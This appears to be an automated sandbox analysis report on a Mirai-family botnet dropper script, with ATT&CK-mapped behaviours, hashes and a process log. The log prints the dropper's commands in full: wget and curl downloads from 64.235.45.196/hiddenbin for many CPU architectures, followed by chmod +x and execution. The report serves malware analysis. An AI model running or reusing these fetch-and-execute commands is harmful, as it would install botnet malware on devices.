Analysis
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max time kernel
148s -
max time network
153s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
07/12/2024, 15:30
Static task
static1
Behavioral task
behavioral1
Sample
cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh
Resource
debian9-mipsbe-20240611-en
General
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Target
cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh
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Size
2KB
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MD5
5562819bed77a9cb62743843ee3a42ba
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SHA1
7b3934c9807c5fa51b62ac5758f33c68015e8591
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SHA256
cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e
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SHA512
d907f11e575e06dbcf6936eeb0deaa7112eb2b063c54334c5f5fcd5cb3cb7d725419ce3dd4e9fc12c727b02fa0db090c50194638cdcbe68863ea0c7acd370611
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
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Mirai family
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File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 768 chmod 796 chmod 870 chmod 729 chmod 735 chmod 876 chmod 831 chmod 864 chmod 741 chmod 858 chmod 882 chmod 887 chmod 893 chmod 811 chmod 852 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Space 730 Space /tmp/Space 736 Space /tmp/Space 742 Space /tmp/Space 769 Space /tmp/Space 797 Space /tmp/Space 812 Space /tmp/Space 832 Space /tmp/Space 853 Space /tmp/Space 859 Space /tmp/Space 865 Space /tmp/Space 871 Space /tmp/Space 877 Space /tmp/Space 883 Space /tmp/Space 888 Space /tmp/Space 894 Space -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space -
Enumerates running processes
Discovers information about currently running processes on the system
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Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space -
resource yara_rule behavioral3/files/fstream-5.dat upx behavioral3/files/fstream-6.dat upx behavioral3/files/fstream-7.dat upx behavioral3/files/fstream-8.dat upx -
description ioc Process File opened for reading /proc/20/status Space File opened for reading /proc/23/status Space File opened for reading /proc/315/status Space File opened for reading /proc/785/status Space File opened for reading /proc/801/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/695/status Space File opened for reading /proc/1/status Space File opened for reading /proc/12/status Space File opened for reading /proc/13/status Space File opened for reading /proc/24/status Space File opened for reading /proc/72/status Space File opened for reading /proc/74/status Space File opened for reading /proc/142/status Space File opened for reading /proc/703/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/6/status Space File opened for reading /proc/9/status Space File opened for reading /proc/73/status Space File opened for reading /proc/78/status Space File opened for reading /proc/18/status Space File opened for reading /proc/70/status Space File opened for reading /proc/321/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/676/status Space File opened for reading /proc/5/status Space File opened for reading /proc/10/status Space File opened for reading /proc/16/status Space File opened for reading /proc/17/status Space File opened for reading /proc/318/status Space File opened for reading /proc/386/status Space File opened for reading /proc/450/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/798/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/3/status Space File opened for reading /proc/11/status Space File opened for reading /proc/19/status Space File opened for reading /proc/387/status Space File opened for reading /proc/478/status Space File opened for reading /proc/797/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/37/status Space File opened for reading /proc/455/status Space File opened for reading /proc/479/status Space File opened for reading /proc/696/status Space File opened for reading /proc/789/status Space File opened for reading /proc/114/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/filesystems cp File opened for reading /proc/2/status Space File opened for reading /proc/7/status Space File opened for reading /proc/76/status Space File opened for reading /proc/166/status Space File opened for reading /proc/697/status Space File opened for reading /proc/316/status Space File opened for reading /proc/322/status Space File opened for reading /proc/699/status Space File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/795/status Space -
System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 772 wget 780 curl 794 cat 808 wget 809 curl 810 cat -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Space.arc wget File opened for modification /tmp/Space.arc curl File opened for modification /tmp/Space.i686 wget File opened for modification /tmp/Space.x86_64 wget File opened for modification /tmp/Space.mips curl File opened for modification /tmp/Space.mpsl wget File opened for modification /tmp/Space.arm5 curl File opened for modification /tmp/busybox cp File opened for modification /tmp/Space.x86_64 curl File opened for modification /tmp/Space.mips64 curl File opened for modification /tmp/Space.arm wget File opened for modification /tmp/Space.ppc curl File opened for modification /tmp/Space cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh File opened for modification /tmp/Space.i686 curl File opened for modification /tmp/Space.mpsl curl File opened for modification /tmp/Space.arm6 wget File opened for modification /tmp/Space.arm7 curl File opened for modification /tmp/Space.x86 curl File opened for modification /tmp/Space.arm6 curl File opened for modification /tmp/Space.arm7 wget File opened for modification /tmp/Space.sparc curl File opened for modification /tmp/Space.m68k wget File opened for modification /tmp/Space.x86 wget File opened for modification /tmp/Space.arm5 wget File opened for modification /tmp/Space.ppc wget File opened for modification /tmp/Space.sh4 curl File opened for modification /tmp/Space.mips wget File opened for modification /tmp/Space.arm curl File opened for modification /tmp/Space.m68k curl File opened for modification /tmp/Space.sh4 wget
Processes
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/tmp/cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh/tmp/cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh1⤵
- Writes file to tmp directory
PID:699 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:701
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.arc2⤵
- Writes file to tmp directory
PID:704
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:725
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/bin/catcat Space.arc2⤵PID:728
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc systemd-private-59df6308ae324140800907cd3ce54ef8-systemd-timedated.service-FDbpB72⤵
- File and Directory Permissions Modification
PID:729
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:730
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.x862⤵
- Writes file to tmp directory
PID:732
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:733
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/bin/catcat Space.x862⤵PID:734
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.x86 systemd-private-59df6308ae324140800907cd3ce54ef8-systemd-timedated.service-FDbpB72⤵
- File and Directory Permissions Modification
PID:735
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:736
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.x86_642⤵
- Writes file to tmp directory
PID:738
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.x86_642⤵
- Writes file to tmp directory
PID:739
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/bin/catcat Space.x86_642⤵PID:740
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.x86 Space.x86_64 systemd-private-59df6308ae324140800907cd3ce54ef8-systemd-timedated.service-FDbpB72⤵
- File and Directory Permissions Modification
PID:741
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:742
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.i6862⤵
- Writes file to tmp directory
PID:744
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:751
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/bin/catcat Space.i6862⤵PID:766
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.i686 Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:768
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:769
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:772
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:780
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/bin/catcat Space.mips2⤵
- System Network Configuration Discovery
PID:794
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:796
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/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:797
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.mips642⤵
- System Network Configuration Discovery
PID:808
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.mips642⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:809
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/bin/catcat Space.mips642⤵
- System Network Configuration Discovery
PID:810
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:811
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:812
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.mpsl2⤵
- Writes file to tmp directory
PID:813
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:818
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/bin/catcat Space.mpsl2⤵PID:829
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:831
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:832
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.arm2⤵
- Writes file to tmp directory
PID:835
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:843
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/bin/catcat Space.arm2⤵PID:851
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:852
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:853
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.arm52⤵
- Writes file to tmp directory
PID:855
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:856
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/bin/catcat Space.arm52⤵PID:857
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:858
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:859
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.arm62⤵
- Writes file to tmp directory
PID:861
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:862
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/bin/catcat Space.arm62⤵PID:863
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:864
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:865
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.arm72⤵
- Writes file to tmp directory
PID:867
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.arm72⤵
- Writes file to tmp directory
PID:868
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/bin/catcat Space.arm72⤵PID:869
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:870
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:871
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.ppc2⤵
- Writes file to tmp directory
PID:873
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:874
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/bin/catcat Space.ppc2⤵PID:875
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:876
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:877
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.sparc2⤵PID:879
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.sparc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:880
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/bin/catcat Space.sparc2⤵PID:881
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:882
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:883
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.m68k2⤵
- Writes file to tmp directory
PID:884
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:885
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/bin/catcat Space.m68k2⤵PID:886
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:887
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:888
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/usr/bin/wgetwget http://64.235.45.196/hiddenbin/Space.sh42⤵
- Writes file to tmp directory
PID:890
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/usr/bin/curlcurl -O http://64.235.45.196/hiddenbin/Space.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:891
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/bin/catcat Space.sh42⤵PID:892
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/bin/chmodchmod +x busybox cd702d5c5d94251d5a65095cac33dd51bac5b101f85800cedd37556c4ef4fa7e.sh Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_642⤵
- File and Directory Permissions Modification
PID:893
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/tmp/Space./Space2⤵
- Executes dropped EXE
PID:894
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
37KB
MD5aec405b96527fb13ac254737c4e99388
SHA1c6accf2fe5ead7e9eb8bfe46083c2c26c981a812
SHA256643028ebd06ad279eaec9747223df4f8f37f8ac25dad3836d5dab7ac06ddec25
SHA512cd83c16a621448a8a622987f99a4e21d12432eb7aee58354ca9ad076f2a5ed136e8726aca5ae6b759746cbd1a1f7b88ccc637b2a2a75249a954dba2fd791038c
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Filesize
36KB
MD5d294488fa1da5599dbeff70a8f8facfd
SHA151b4cef2d5975502642c27575caaf163b27ac93d
SHA2562e0182aa49aa05af67a8de21340458cef09572828993b1a0d31ba70f3af274ff
SHA51290034d380995e5c978c3e69f25e612612d02e03b2f994e097fddb625d805681f151768a8ec279e3270cf4e29829845bd9be9fe22ba46f481b43c5bd3ce85203a
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Filesize
37KB
MD55a7d8d47b585ede114c2b1347ac1b2d1
SHA187d3c5ebff1f235dfc1135c4571afede2698cd59
SHA256474c75d0648d4fd8ba02f1bf140caa40d820c0a1653c94265edb9feafc737eb2
SHA5121541200e7c17cb7da6388fbddafa9dc3f58f6480469ad0e71d7c72770e3980189ae469d824a483dc0337edf5df6e2a4e00a8790c80edf668f8e14d54ba648829
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Filesize
43KB
MD56a0b8c5c9c76155d79b10d1e4935a295
SHA16af1ecc7237d7a864454a564f8f9092cba21c86f
SHA256f283e689e8342b62ae6b7f8d86f4bf08b08ea3a437a8683597a96cc0552ff2e6
SHA512890fc040cda6de308b6a323087fa9e3208d603bf283da317e475fee00ddba9d26a95d21bc7ae5cfc0afeeee54f203992a3d9e1ea5d2d674dc871fd0a88fa2584
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Filesize
95KB
MD558f8d8b8020569858c2ba1d62150ac3a
SHA1c861d4213716007ad54e27d809e5f36168b3ba08
SHA256146b00117560177ad077d15c9c6bd613bfcfb56e2970e47d20bbf95f3be2e5be
SHA5122b4de71f266f5e4799fb3609e0036fae1c2fbe090407a51b9d5bc58e47ffbd6cc348699d624869e0e8b7e293a13f687fbb6e54c8ecf5d990ede50ea3835c5011
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Filesize
113KB
MD585a94700ab0be116bd593ba440c7a408
SHA126a4c515cbc06940c20c50d88c8910ba09fe6341
SHA256b0dc38b80815fa4189ca8f3b607da6ddc060623d61696afc0bd0aaf90261de43
SHA5126bc8be6c6feb701e49ab221cf5fb92d253c353d7dde98499439c861af999e42f68674e9d99dbbc688abc2bf7c02312198028605c924dc6d5ba2ef18220e42622
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Filesize
857KB
MD5a39fe8036e559ce804e26518061e59ff
SHA18df27f6e8a48b762d945ea2f2b87390c80acd4de
SHA2563180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
SHA512e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d